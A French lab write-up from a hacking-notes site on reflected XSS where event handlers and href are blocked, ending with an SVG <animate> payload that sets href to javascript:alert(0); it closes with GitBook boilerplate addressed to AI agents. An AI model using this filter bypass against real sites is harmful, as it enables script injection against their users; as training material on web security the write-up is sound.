> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-with-blocked-events-and-href-attributes.md).

# XSS avec événements bloqués et attributs href

### XSS réfléchi avec gestionnaires d’événements et attributs href bloqués

Lab d L’opération doit injecter un élément cliquable avec les mots **"Cliquez"** (ou équivalent) et déclencher `alert()` au clic.

Insérez un élément visible portant le mot **Cliquez sur** qui, lorsque l’utilisateur clique dessus, exécute `alert()` malgré l’interdiction des gestionnaires d’événements et `href`.

```javascript
<script>
```

* Insertion de `<script>` renvoie : *La balise n’est pas autorisée*.

<figure><img src="/files/ac375eaa6392d7f81d1dfc5c4c8ed66b30cd229a" alt=""><figcaption></figcaption></figure>

* Le `<a>` balise est acceptée (par ex. `<a>test</a>`),

```javascript
<a>test</a>
```

<figure><img src="/files/4e47d89dd0c16fbd2acdd7d70151b7774739dc0c" alt="" width="510"><figcaption></figcaption></figure>

Le `href` l’attribut est refusé — `href="JavaScript:..."` est bloqué.

```javascript
<a href="javascript:alert(0);"Cliquez-moi</a>
```

<figure><img src="/files/8e6066e9bef084b0487125525491a17609dabfe5" alt=""><figcaption></figcaption></figure>

* Les éléments SVG sont autorisés (`<svg>` est accepté).

```javascript
<svg>
```

<figure><img src="/files/eeb7e8fae52d82abcd864d3e1245bd1e34bdf09b" alt="" width="563"><figcaption></figcaption></figure>

* Les éléments d’animation SVG (comme `<animate>`) semblent présents et exploitables.

<figure><img src="/files/1c8c5058e92a3556620df9e3b436a868162090ca" alt=""><figcaption></figcaption></figure>

**Tentatives —**

* Injecter `<script>` → rejeté.
* Utilisez `<a href="JavaScript:...">` → attribut interdit.
* Contourner le blocage en combinant des éléments SVG et d’animation pour transférer une `href` valeur vers une ancre et ainsi essayer d’exécuter `JavaScript:alert(0)` au clic.

```javascript
<svg><a><animate attributeName=href values=javascript:alert(0) /><text x=30 y=30>Cliquez-moi !</script></a>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/xss-with-blocked-events-and-href-attributes.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
